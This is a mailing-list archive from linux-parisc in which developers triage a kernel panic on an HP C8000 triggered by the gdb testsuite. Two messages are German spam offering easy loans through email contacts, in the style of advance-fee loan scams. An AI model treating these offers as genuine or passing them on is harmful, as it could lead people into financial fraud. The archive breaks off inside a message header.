        by mail.ipb.ac.id (Postfix) with ESMTP id 84F0A2BC5D38;
        Mon, 22 Jan 2018 12:13:08 +0700 (WIB)
DKIM-Filter: OpenDKIM Filter v2.9.2 mail.ipb.ac.id 84F0A2BC5D38
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ipb.ac.id;
        s=F33981EA-14AC-11E5-9B93-0DC1707FAF6D; t=1516597988;
        bh=Iif3zQQW1AuK1twzj5KJYe+WTBIHwIVeZ/JmQHYj+po=;
        h=Content-Type:MIME-Version:Content-Transfer-Encoding:Subject:To:
         From:Date:Reply-To:Message-Id;
        b=uFWxQZKGuMxYKIDBjb8Ij/lSjkwLubdKZWxFCeFlxSX0G8+YVM9QNDi/Ke9TKB4Xa
         bz8tj4k/Em/ETmViql5Pe10dXfLKhySHWO08Ex3KShV29/AjInzPdkmSdjZkWtNlJ/
         xPxSfb8Hma/1izAzaRLJgUWCjnQvU5iD5elY9oAI=
X-Virus-Scanned: amavisd-new at ipb.ac.id
Original-Received: from mail.ipb.ac.id ([127.0.0.1])
        by localhost (mail.ipb.ac.id [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id BGkZaltelfDn; Mon, 22 Jan 2018 12:13:08 +0700 (WIB)
Original-Received: from [100.73.187.88] (unknown [223.237.200.62])
        by mail.ipb.ac.id (Postfix) with ESMTPSA id A1C252BC5EFD;
        Mon, 22 Jan 2018 00:04:42 +0700 (WIB)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28282>

Ben=F6tigen Sie Privat- oder Gesch=E4ftskredite ohne Stress und schnelle Zu=
stimmung? Wenn ja, kontaktieren Sie uns bitte alexgrtz5@gmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Thu, 25 Jan 2018 09:59:03 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <11946948.1Lt8Nslq4k@devpool21>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1516871072 28969 195.159.176.226 (25 Jan 2018 09:04:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Jan 2018 09:04:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 25 10:04:28 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eedRq-0004Tq-GY
	for glpp-linux-parisc@m.gmane.org; Thu, 25 Jan 2018 10:03:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751380AbeAYJF4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 25 Jan 2018 04:05:56 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:51933 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751295AbeAYJFx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 25 Jan 2018 04:05:53 -0500
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Thu, 25 Jan 2018 04:05:52 EST
Original-Received: (qmail 4100 invoked from network); 25 Jan 2018 08:59:10 -0000
Original-Received: from ip4d16c279.dynamic.kabel-deutschland.de ([::ffff:77.22.194.121]:41552 HELO devpool21.localnet) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Thu, 25 Jan 2018 09:59:10 +0100
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28283>

The last message I had for the crash below is:

Running /var/tmp/portage/sys-devel/gdb-7.12.1/work/gdb-7.12.1/gdb/testsuite/gdb.base/bp-permanent.exp ...

[  909.754182] Backtrace:
[  909.756303] 
[  909.756303] 
[  909.756303] Bad Address (null pointer deref?): Code=6 (Instruction TLB miss fault) regs=000000007c818a50 (Addr=0000000000000000)
[  909.756303] CPU: 0 PID: 5191 Comm: bp-permanent Not tainted 4.13.8 #2
[  909.756303] task: 000000007c8183d0 task.stack: 000000007aad8000
[  909.756303] 
[  909.756303]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  909.756303] PSW: 00000000000001000000011100001111 Not tainted
[  909.756303] r00-03  000000000004070f 00000000f8f07840 00000000000106bb 00000000f8f07880
[  909.756303] r04-07  00000000f815bc70 00000000000e87a0 0000000000000000 00000000000e8818
[  909.756303] r08-11  0000000000000000 0000000000000000 000000000000006c 0000000000000000
[  909.756303] r12-15  0000000000000000 0000000000000000 0000000000080a74 00000000000e83f8
[  909.756303] r16-19  00000000000c85c8 00000000000cbad8 00000000000c99e8 00000000f815bc70
[  909.756303] r20-23  00000000000120bc 0000000000000004 ffffffffffffe520 0000000000012022
[  909.756303] r24-27  00000000000120bc 00000000000105d8 00000000000120b8 0000000000012000
[  909.756303] r28-31  00000000000120b8 0000000000000001 00000000f8f078c0 00000000f8bffa9f
[  909.756303] sr00-03  00000000010a1800 00000000010a1800 0000000000000000 00000000010a1800
[  909.756303] sr04-07  00000000010a1800 00000000010a1800 00000000010a1800 00000000010a1800
[  909.756303] 
[  909.756303] IASQ: 00000000010a1800 00000000010a1800 IAOQ: 0000000000000000 0000000000000004
[  909.756303]  IIR: 43ffff80    ISR: 0000000010240000  IOR: 000000a43fb07880
[  909.756303]  CPU:        0   CR30: 000000007aad8000 CR31: ffffffffffffffff
[  909.756303]  ORIG_R28: 0000000000000000
[  909.756303]  IAOQ[0]:           (null)
[  909.756303]  IAOQ[1]: 0x4
[  909.756303]  RP(r2): 0x106bb
[  909.756303] Backtrace:
[  909.756303] 
[  909.756303] Kernel panic - not syncing: Bad Address (null pointer deref?)
[  909.756303] ---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)

This is actually the second place where it breaks, before that I had the same 
with this test (twice):

Running /var/tmp/portage/sys-devel/gdb-7.12.1/work/gdb-7.12.1/gdb/testsuite/gdb.base/async.exp ...

It's a Gentoo system, the kernel has been built with gcc 6.4.0.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Thu, 25 Jan 2018 08:01:31 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <5A69D52B.90405@bell.net>
References: <11946948.1Lt8Nslq4k@devpool21>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1516885184 15654 195.159.176.226 (25 Jan 2018 12:59:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Jan 2018 12:59:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.5.0
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 25 13:59:39 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eeh7v-0003aq-ET
	for glpp-linux-parisc@m.gmane.org; Thu, 25 Jan 2018 13:59:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751567AbeAYNBk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 25 Jan 2018 08:01:40 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:53219 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751601AbeAYNBj (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 25 Jan 2018 08:01:39 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180125130133.VZCI32387.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 25 Jan 2018 08:01:33 -0500
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by torspm01.bell.net
          with ESMTP
          id <20180125130133.TIHS6406.torspm01.bell.net@[192.168.2.49]>;
          Thu, 25 Jan 2018 08:01:33 -0500
In-Reply-To: <11946948.1Lt8Nslq4k@devpool21>
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=N659UExz7-8A:10 a=RgaUWeydRksA:10 a=FBHGMhGWAAAA:8 a=LyLAgTrH2YopD5aJHaoA:9 a=tHAwfm_gqRFc5S23:21 a=fawHGNU9E_Kol6Mt:21 a=pILNOxqGKmIA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28284>

On 2018-01-25 3:59 AM, Rolf Eike Beer wrote:
> [  909.756303] Kernel panic - not syncing: Bad Address (null pointer deref?)
> [  909.756303] ---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)
>
> This is actually the second place where it breaks, before that I had the same
> with this test (twice):
Would you post the PIM dump of the most recent HPMC in the service 
menu?  Also needed
is the assembler dump of the routine where the HPMC occurred in your 
kernel.  You need the
64-bit version of objdump for this.

There's no info in the posted register dump about the panic other than 
it was probably generated
by the exception.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Thu, 25 Jan 2018 16:36:54 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de>
References: <11946948.1Lt8Nslq4k@devpool21> <5A69D52B.90405@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1516894521 6844 195.159.176.226 (25 Jan 2018 15:35:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Jan 2018 15:35:21 +0000 (UTC)
User-Agent: Roundcube Webmail/1.2.7
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 25 16:35:17 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eejYF-0006Z0-71
	for glpp-linux-parisc@m.gmane.org; Thu, 25 Jan 2018 16:34:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751171AbeAYPhA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 25 Jan 2018 10:37:00 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:45093 "EHLO mail.sf-mail.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750980AbeAYPg7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 25 Jan 2018 10:36:59 -0500
Original-Received: (qmail 19522 invoked from network); 25 Jan 2018 15:36:57 -0000
Original-Received: from mail.sf-mail.de ([::ffff:78.47.74.12]:34790 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
        by mail.sf-mail.de (Qsmtpd 0.34dev) with (DHE-RSA-AES256-GCM-SHA384 encrypted) ESMTPSA
        for <linux-parisc@vger.kernel.org>; Thu, 25 Jan 2018 16:36:57 +0100
In-Reply-To: <5A69D52B.90405@bell.net>
X-Sender: eike-kernel@sf-tec.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28285>

John David Anglin wrote:
> On 2018-01-25 3:59 AM, Rolf Eike Beer wrote:
>> [  909.756303] Kernel panic - not syncing: Bad Address (null pointer 
>> deref?)
>> [  909.756303] ---[ end Kernel panic - not syncing: Bad Address (null 
>> pointer deref?)
>> 
>> This is actually the second place where it breaks, before that I had 
>> the same
>> with this test (twice):
> Would you post the PIM dump of the most recent HPMC in the service
> menu?

The service menu does not give any information, as in this older bug: 
https://bugs.gentoo.org/481768

> Also needed
> is the assembler dump of the routine where the HPMC occurred in your
> kernel.  You need the
> 64-bit version of objdump for this.

I have put the kernel on 
https://opensource.sf-tec.de/c8000-kernel.tar.xz

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Schuster <femi.ageuh@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: =?UTF-8?Q?Darlehen_Geld_f=C3=BCr_Einzelpersonen_und_Fachleute_in_w?=
        =?UTF-8?Q?eniger_als_72_Stunden?=
Date: Fri, 26 Jan 2018 08:22:47 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <CACKcKZ-YTVoO8xO=VcRR-F_91T=fQ=MZa2wBTk_EaRT7GRz52Q__33873.2152748436$1516951279$gmane$org@mail.gmail.com>
Reply-To: klaus.peterschuster@outlook.de
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1516951279 32481 195.159.176.226 (26 Jan 2018 07:21:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Jan 2018 07:21:19 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 26 08:21:15 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eeyJn-00073f-ID
	for glpp-linux-parisc@m.gmane.org; Fri, 26 Jan 2018 08:20:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751963AbeAZHW5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 26 Jan 2018 02:22:57 -0500
Original-Received: from mail-ot0-f174.google.com ([74.125.82.174]:40490 "EHLO
        mail-ot0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751800AbeAZHWw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 26 Jan 2018 02:22:52 -0500
Original-Received: by mail-ot0-f174.google.com with SMTP id x4so9357462otg.7
        for <linux-parisc@vger.kernel.org>; Thu, 25 Jan 2018 23:22:52 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to
         :content-transfer-encoding;
        bh=AIbnVL/RoZ6DJvY9SQixBQ1Ga4Avsi42b5+xiinu9z8=;
        b=aGhYm6vCMvYfARnqBs0xMn9cm372FVVSIz6R5NEc/BxSd78HfL6B6HHClfK5PsiSH0
         x3w8wZwuJA1QgHLsXnviC3HmvrZuzS/jVJOfNECFweuk2d+ms5dXbILZEJN77vVnJpTF
         C8aMCmrTwcSBmYkRqKJ9KZxMzON4FTPD3MdfQEF3srmQQPslWQcNXdFYfF1fG0qaTdAl
         zDIf57miRyBBDs2SCmlzEEO/d7HHaHBkavqKOadJz7q4/ZBpM4LZI7Go+oXuW7FCdhI4
         oObxmKEYeBczKgJMLlX8ksG5RJhhoZmwH77A/RC6EPqsnt91fVy9cmieO6oDPIfHCtgz
         r6Ag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to:content-transfer-encoding;
        bh=AIbnVL/RoZ6DJvY9SQixBQ1Ga4Avsi42b5+xiinu9z8=;
        b=GNTnBGsnplXr3GBV9R7JzYGeMeHBDwpejbfg2zlQJo+eHnnwJP5FkRRm1xwtu0l2Fl
         um8rw5dXrxIyfTrijS8hcsT2t2jvvcD/Hnh+JRVWJCZUQhEvkXaE0TthBr1pj7daVJbl
         H7XsF4fBkbj6st2FJYvTzF0Zo7FQhQyomdeB/QOgUPYXg9bdmDq++bENZ2Xs4cusdkc6
         NZCVpkicv0EG7bH3ayH2sc4iWlfC8yI7oXGVu81RknZPEddCaG+TQ0f+ALQ/Mc3Qbm7Z
         9X4vsS1QS24hzVKjpmON7rSsV0UlRQtPW7hIfe0fofmESekiPHlPt7l5W1tSFRWdMrlg
         1h/Q==
X-Gm-Message-State: AKwxytdhwNgQXbQgiQtuXyZsFN58zCqi9DQclCPrz/PVbLrhn7bxGLBC
        A9T3jPv8pzMpdvxP0bF7swp1Q2ZmMFB3vY8KViw=
X-Google-Smtp-Source: AH8x227z9sze2dG19ONiuiyFe0TDZxFtN66GrJPy0JuFwKzvUe04J0/Kr4qWrKmBnlvY/f3kx7D+Fe8P+mqsCNOQ2Pc=
X-Received: by 10.157.47.37 with SMTP id h34mr12609083otb.99.1516951368616;
 Thu, 25 Jan 2018 23:22:48 -0800 (PST)
Original-Received: by 10.74.153.122 with HTTP; Thu, 25 Jan 2018 23:22:47 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28286>

Hallo,

Sind Sie in einer schwierigen Situation, f=C3=BCr die Sie sich f=C3=BCr ein
Darlehen suchen? Ben=C3=B6tigen Sie eine Finanzierung, um eine Schuld zu
begleichen oder eine Aktivit=C3=A4t zu finanzieren? Haben Sie einen
Verbraucherkredit, eine Hypothek, einen pers=C3=B6nlichen Kredit, eine
Hypothek, Investition Darlehen, Schuldenkonsolidierung Darlehen oder
andere braucht?

Ich bin ein einzelner Investor. I zur Verf=C3=BCgung stellen die Kredit
kurz-, mittel- und langfristige. Ihr Finanzierungsbedingungen sind
sehr einfach und meine Zinssatz betr=C3=A4gt 3% pro Jahr.

F=C3=BCr alle Anfragen, bleibe ich zur Verf=C3=BCgung, um Ihre Fragen zu be=
antworten.

Danke, dass Sie mir per E-Mail an Sie von  :   klaus.peterschuster@outlook.=
de

Mit freundlichen Gr=C3=BC=C3=9Fen.

Peter Schuster

Financial Bank
https://firstfinancialsa.com/de
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Fri, 26 Jan 2018 23:31:46 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <2a632168-7608-736b-22df-64ca702b34d5@gmx.de>
References: <11946948.1Lt8Nslq4k@devpool21> <5A69D52B.90405@bell.net>
 <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1517005822 2304 195.159.176.226 (26 Jan 2018 22:30:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Jan 2018 22:30:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 26 23:30:17 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1efCVf-0001zj-ID
	for glpp-linux-parisc@m.gmane.org; Fri, 26 Jan 2018 23:30:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751560AbeAZWcQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 26 Jan 2018 17:32:16 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:54585 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751321AbeAZWcP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 26 Jan 2018 17:32:15 -0500
Original-Received: from [192.168.20.60] ([193.159.17.209]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M0y47-1eunTp3XYd-00v9DT; Fri, 26
 Jan 2018 23:31:46 +0100
In-Reply-To: <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de>
Content-Language: en-US
X-Provags-ID: V03:K0:w8iqsmrMcqNdu1rM2A0kLYTsx30y9bLS3h9PLT1N7Ju9KTF0EFe
 dFBgz0MWEkXyxSgA3AAZQen2h8e6pCXyxiU/p70NJuhoLzA34WPKVUaDENzvXEtEnTGWulE
 dhE+GKF7kFLm4ti2+/p0bzF632MhgJwVeTcT8iW2VIzOM7jujSx8Wmkgv3nshnimBSW3Vtg
 GXvx93ruu/+gGDu0y+PiA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RE5Q+HTBFfw=:6HdFaEPIlkpX5nNhhzOJRG
 OsgDe62W2eY6HgV4OMmKXBnfkBbgANcIB+SiTF2BsyAmSwM11QjEm3wH1sHAsQMbrYgOHCOaa
 W9UFlUPrTuepsHbKsUMbob+5VXoqajFbfZLBfg10wwhZ0CG5HOfLbXYOSnMVEB3aJgCrY1MHc
 VpgCbNpFHxbYfqHsfW8nq0k5U9iMdVeCUskFJAnkc8A/fxvM8fkWuboi5l8vCo5Z/er1msxLY
 tG8jnLddsu/XDcyDyM0wLJKrM0KBDPkvRPEH6t9YzVJnLTtZ6YBom3d/x2Mg92P+gcr9leLBM
 KivWptcbbt5XrDeBmJKANuQYrBu/ZI4355eNpyKvJCYOlc28n/Fz9gt9GiNHRq1k1f5nyKRcc
 yY+KE78B+Ku/1wEXk/T8wF1YqHWJnLqRULo93bJkcYnzBqz9BSTiU+ERR0cZ+LeAD+G692NR1
 kpehNhh35g1OQ97eG2CvJm3F+n8NXqIBSCvtpSFUCliiJ8tjPQh/IJbJ8HHF+7c10JJO3QSeu
 ll41qRIAv2qArMECveP7/ZFhbXuDKi2Vj0H3R6bPRHoCaC+hKXAvYs82YtuvlvRVMRAoQJaov
 caiog7Scg6oQQwu8HY+NJrdbzVLHWIDwnjdbYqBTSzWNyYILdD04ys/PXd4i4HaezcTg60JiT
 rzqN2B2LzjoTGczA2FFMfU7HKhsLK/nGlA1xhkZQQYKbqaXYZMq9On707heP78QLxEEGvC4Hf
 gPyrNQo2l1blEjcVnExiWeXX6TBueCulZ41TALati6+TFAc57hVALtdSDcS6fVy1bwBVzpEM 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28287>

On 25.01.2018 16:36, Rolf Eike Beer wrote:
> John David Anglin wrote:
>> On 2018-01-25 3:59 AM, Rolf Eike Beer wrote:
>>> [  909.756303] Kernel panic - not syncing: Bad Address (null pointer deref?)
>>> [  909.756303] ---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)
>>>
>>> This is actually the second place where it breaks, before that I had the same
>>> with this test (twice):
>> Would you post the PIM dump of the most recent HPMC in the service
>> menu?
> 
> The service menu does not give any information, as in this older bug: https://bugs.gentoo.org/481768

FWIW, I've tested the testcase from 
 https://bugs.gentoo.org/481768
on a debian system:
Linux panama.osuosl.org 4.14.0-2-parisc64-smp #1 SMP Debian 4.14.7-1 (2017-12-28) parisc64 GNU/Linux
gdb was version 7.12-6+b1

On debian I can not reproduce the crash.

With this sequence:
(gdb) break gdb-crash.c:14
(gdb) run
(gdb) set tp = {0,0}

tp isn't initialized yet before you reach line 25, and as such it points to random memory.
I you try to set tp, it depends on what happens (but agreed, it shouldn't
crash the kernel).

The Debian kernel hasn't any additional hppa-specific patches.  

>> Also needed
>> is the assembler dump of the routine where the HPMC occurred in your
>> kernel.  You need the
>> 64-bit version of objdump for this.

I wonder why there isn't any kernel backtrace...
Does gentoo uses special compiler-optimization flags?

> I have put the kernel on https://opensource.sf-tec.de/c8000-kernel.tar.xz

I'd suggest you put some debugging code in your kernel, e.g. in
compat_ptrace_request() in kernel/ptrace.c.
I think gdb uses PTRACE_POKEDATA to set some userspace memory of a process.
It's generic code, so I wonder why it should crash on parisc.

You may look at compat_arch_ptrace() in arch/parisc/kernel/ptrace.c too, but
it doesn't touch memory as far as I can see...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Running the gdb 7.12.1 testsuite breaks kernel 4.13.8 on C8000
Date: Sat, 27 Jan 2018 18:42:44 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <2594108.Soefd0VDuM@daneel.sf-tec.de>
References: <11946948.1Lt8Nslq4k@devpool21> <57873f7fe3e5227fcf2f4ed20407f2b6@sf-tec.de> <2a632168-7608-736b-22df-64ca702b34d5@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart68963196.udETrsNKch"; micalg="pgp-"; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1517074859 22487 195.159.176.226 (27 Jan 2018 17:40:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 27 Jan 2018 17:40:59 +0000 (UTC)
User-Agent: KMail/4.14.10 (Linux/4.14.15-1.gfe1d712-default; KDE/4.14.25; x86_64; ; )
To: linux-parisc@vger.kernel.org
